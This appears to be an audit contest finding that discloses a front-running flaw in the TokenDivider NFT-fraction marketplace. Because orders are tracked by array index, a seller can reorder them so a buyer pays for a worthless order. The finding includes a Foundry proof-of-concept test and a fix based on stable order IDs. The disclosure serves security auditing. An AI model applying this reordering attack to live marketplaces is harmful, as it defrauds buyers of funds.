Pieces Protocol

First Flight #32
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

[H-7] Order Index Reordering Attack Leads to Unintended Purchases and Buyer Exploitation

Summary

The TokenDivider contract uses an array-based indexing (orderIndex) to track multiple sell orders. After a sell order is fulfilled, it swaps and pops from the array, causing subsequent orders to move and change indexes. A malicious seller can exploit this by front-running or self-buying an order—reordering the array and causing a legitimate buyer to purchase a less valuable or worthless order at the same index. Essentially, the buyer’s intended order index no longer corresponds to the desired sell order once the array is modified.


Vulnerability Details

  1. Array-Based Order Tracking
    Each seller maintains an array s_userToSellOrders[seller]. New sell orders get appended. When an order is purchased, the code removes it by copying the last array element into the purchased index and then calling .pop(). This approach inadvertently reorders the array if you do not purchase the last element.

  2. Front-Running Attack

    • Suppose an order at index=0 is selling 10 fraction tokens for 1 ETH.

    • A second order at index=1 might be selling only 1 fraction token (or 1 wei of a fraction token) for the same 1 ETH.

    • If a buyer tries to buy the “good” order at index=0, the seller can front-run the transaction (or in the same block) and buy it themselves (or otherwise remove it).

    • The contract’s array deletion swaps the worthless order into index=0.

    • Now, when the legitimate buyer’s transaction executes, they still pass orderIndex=0, but they end up buying the worthless order (1 fraction token for 1 ETH) instead of the intended 10 tokens for 1 ETH.

  3. Unstable Index References
    Because the contract references orders by an ephemeral array index rather than a stable unique ID, the index can change at any time if any other user buys an order, or if the malicious seller intentionally manipulates the array. This leads to unexpected behavior for other buyers relying on a “trusted” index.

Proof Of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import { ERC20Mock } from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import { Test, console } from "forge-std/Test.sol";
import { TokenDivider } from "src/TokenDivider.sol";
import { ERC20ToGenerateNftFraccion } from "src/token/ERC20ToGenerateNftFraccion.sol";
contract ERC721Mock is ERC721 {
uint256 private _tokenIdCounter;
constructor() ERC721("MockToken", "MTK") { }
function mint(address to) public {
_safeMint(to, _tokenIdCounter);
_tokenIdCounter++;
}
}
contract BuyOrderOrderIndexExploit is Test {
error TokenDivider__TransferFailed();
TokenDivider internal tokenDivider;
ERC721Mock internal erc721;
address internal owner = makeAddr("owner");
address internal maliciousSeller = makeAddr("maliciousSeller");
address internal legitBuyer = makeAddr("legitBuyer");
function setUp() public {
// 1) Deploy the TokenDivider
vm.prank(owner);
tokenDivider = new TokenDivider();
// 2) Deploy an ERC721 mock and mint 1 NFT to the malicious seller
erc721 = new ERC721Mock();
erc721.mint(maliciousSeller); // tokenId = 0
// 3) Malicious seller starts with 10 ether balance
vm.deal(maliciousSeller, 10 ether);
// 4) Legit buyer starts with 10 ether balance
vm.deal(legitBuyer, 10 ether);
}
function testOrderIndexWithoutAttack() public {
// 1) Malicious user divides the NFT -> obtains fraction tokens
vm.startPrank(maliciousSeller);
erc721.approve(address(tokenDivider), 0);
tokenDivider.divideNft(address(erc721), 0, /* 10k fraction tokens */ 10_000 ether);
vm.stopPrank();
// Malicious seller’s fraction token
address fractionToken = tokenDivider.getErc20InfoFromNft(address(erc721), /* tokenId = 0 */ 0);
// Malicious seller's fraction token balance:
ERC20ToGenerateNftFraccion fractionTokenMock = ERC20ToGenerateNftFraccion(fractionToken);
// Ensure the malicious seller owns 10k fraction tokens
assertEq(fractionTokenMock.balanceOf(maliciousSeller), 10_000 ether);
// 2) The malicious seller wants to sell a portion of his fraction tokens
// he listed a 10k fraction tokens for 1 ether
vm.startPrank(maliciousSeller);
fractionTokenMock.approve(address(tokenDivider), /* amount = 10 fraction tokens */ 10 ether);
tokenDivider.sellErc20(
address(erc721),
/* tokenId = 0 */ 0,
/* price = 1 ether */ 1 ether,
/* amount = 10 fraction tokens */ 10 ether
);
// He creates >1 more sell orders, but now, he sells 1 WEI fraction token for 1 ether (same price)
for (uint256 i = 0; i < 10; i++) {
fractionTokenMock.approve(address(tokenDivider), /* amount = 1 WEI fraction tokens */ 1);
tokenDivider.sellErc20(
address(erc721),
/* tokenId = 0 */ 0,
/* price = 1 ether */ 1 ether,
/* amount = 1 fraction token */ 1
);
}
vm.stopPrank();
// 3) The legit user wants to buy the sell order, now, let's suppose you're the legit user, you will
// never intentionally buy the sell order that has 1 WEI fraction token for 1 ether, that's obvious,
// so let's say you call the buyOrder function with the order index = 0, which in this case is the first
// one, so in theory you will buy the sell order that has 10 ether fraction tokens for 1 ether
vm.prank(legitBuyer);
tokenDivider.buyOrder{value: 2 ether}(/* orderIndex = 0 */ 0, maliciousSeller);
// At first this might seem fine, but pay attention to the next test:
}
function testOrderIndexWithoutWithAttack() public {
// 1) Malicious user divides the NFT -> obtains fraction tokens
vm.startPrank(maliciousSeller);
erc721.approve(address(tokenDivider), 0);
tokenDivider.divideNft(address(erc721), 0, /* 10k fraction tokens */ 10_000 ether);
vm.stopPrank();
// Malicious seller’s fraction token
address fractionToken = tokenDivider.getErc20InfoFromNft(address(erc721), /* tokenId = 0 */ 0);
// Malicious seller's fraction token balance:
ERC20ToGenerateNftFraccion fractionTokenMock = ERC20ToGenerateNftFraccion(fractionToken);
// Ensure the malicious seller owns 10k fraction tokens
assertEq(fractionTokenMock.balanceOf(maliciousSeller), 10_000 ether);
// 2) The malicious seller wants to sell a portion of his fraction tokens
// he listed a 10k fraction tokens for 1 ether
vm.startPrank(maliciousSeller);
fractionTokenMock.approve(address(tokenDivider), /* amount = 10 fraction tokens */ 10 ether);
tokenDivider.sellErc20(
address(erc721),
/* tokenId = 0 */ 0,
/* price = 1 ether */ 1 ether,
/* amount = 10 fraction tokens */ 10 ether
);
// He creates one more sell order, but now, he sells 1 WEI fraction token for 1 ether (same price)
fractionTokenMock.approve(address(tokenDivider), /* amount = 1 WEI fraction tokens */ 1);
tokenDivider.sellErc20(
address(erc721),
/* tokenId = 0 */ 0,
/* price = 1 ether */ 1 ether,
/* amount = 1 fraction token */ 1
);
vm.stopPrank();
// 3.a) As a malicious seller, if i place a buyOrder to my own sell order #0, it would be,
// so i'd be getting 10 ether fraction tokens for the price of 1 ether (which a big part of that 1 ether price goes
// to myself except for the tax);
//
// The point here is that if i have the opportunity to inspect the transactions in the mempool and i see someone is trying
// to buy the sell order that i created, i can get the order index and call the buyOrder function with that order index,
// that will allow me to buy the sell order that i created and make the victim to buy with the same order index the traction
// that sells 1 WEI fraction token for 1 ether.
vm.prank(maliciousSeller);
tokenDivider.buyOrder{value: 2 ether}(/* orderIndex = 0 */ 0, maliciousSeller);
assertEq(fractionTokenMock.balanceOf(maliciousSeller), /* total */ 10_000 ether - 1 /* 1 WEI from the other sell order */);
// 3.b) The sell order that the legit user is buying is the one that gives him 1 WEI fraction token for 1 ether
vm.prank(legitBuyer);
tokenDivider.buyOrder{value: 2 ether}(/* orderIndex = 0 */ 0, maliciousSeller);
assertEq(fractionTokenMock.balanceOf(legitBuyer), 1 /* WEI */);
}
}

Impact

  • Buyer Pays Full Price for a Minimal (Worthless) Order: A legitimate buyer sends enough Ether for a large fraction token bundle but receives a smaller bundle (or effectively worthless tokens) because the array index was swapped.

  • Financial Loss / Scamming: Attackers can “bait” buyers into thinking they are buying a high-value order. By reordering the array at the last moment, the buyer instead purchases an inferior order.

  • Market Confusion: Multiple orders from the same seller can be reordered, making it impossible for buyers to rely on array indices. The marketplace becomes unsafe and unpredictable.


Recommendations

  1. Use Unique Order Identifiers

    • Instead of referencing orders by array index, generate a unique orderId (like an incrementing counter or a hash) to store in a mapping. For example:

      mapping(address user => mapping(uint256 orderId => SellOrder orders)) sellerToOrder;

      This approach ensures stable references even if the underlying data structure changes.

    • Use this orderId strategy to store new orders in the sellerToOrder mapping, then return the orderId created to the caller, so modify the function to:

      function sellErc20(address nftPegged, uint256 tokenId, uint256 price, uint256 amount) external returns (uint256 orderId) {
      ... same code as before ...
      orderId = nextOrderId++;
      sellerToOrder[msg.sender][orderId] = SellOrder({
      seller: msg.sender,
      erc20Address: erc20Address,
      price: price,
      amount: amount
      });
      // Below old code
      // s_userToSellOrders[msg.sender].push(
      // SellOrder({ seller: msg.sender, erc20Address: erc20Address, price: price, amount: amount })
      // );
      ... same code as before ...
      function buyOrder(uint256 orderId, address seller) external payable {
      SellOrder memory order = sellerToOrder[seller][orderId];
      // ensure the integrity of the order
      if (order.seller != seller) revert TokenDivider__Unauthorized();
      ... same code as before ...
      // Remove the order from the user's orders
      delete sellerToOrder[seller][orderId];
      // Below old code
      // s_userToSellOrders[seller][orderIndex] = s_userToSellOrders[seller][s_userToSellOrders[seller].length - 1];
      // s_userToSellOrders[seller].pop();
      ... same code as before ...

      if you followed [H-5] Missing ability to delete open sell orders, update the cancel order too:

      function cancelOrder(uint256 orderId) external {
      SellOrder memory order = sellerToOrder[msg.sender][orderId];
      ... same code as before ...
      // Remove the order from the user's orders
      delete sellerToOrder[msg.sender][orderId];
      // Below old code
      // s_userToSellOrders[seller][orderIndex] = s_userToSellOrders[seller][s_userToSellOrders[seller].length - 1];
      // s_userToSellOrders[seller].pop();
    • Use orderId to reference orders in internal functions and events. For example:

      emit OrderPublished(order.amount, msg.sender, order.erc20Address, orderId);
      emit OrderSelled(msg.sender, order.price, orderId);
    • Update getOrderPrice to use the orderId instead of the orderIndex:

      function getOrderPrice(address seller, uint256 orderId) public view returns (uint256 price) {
      price = sellerToOrder[seller][orderId].price;
      }
Updates

Lead Judging Commences

fishy Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Appeal created

jayp Submitter
5 months ago
jayp Submitter
5 months ago
fishy Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Front-running

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.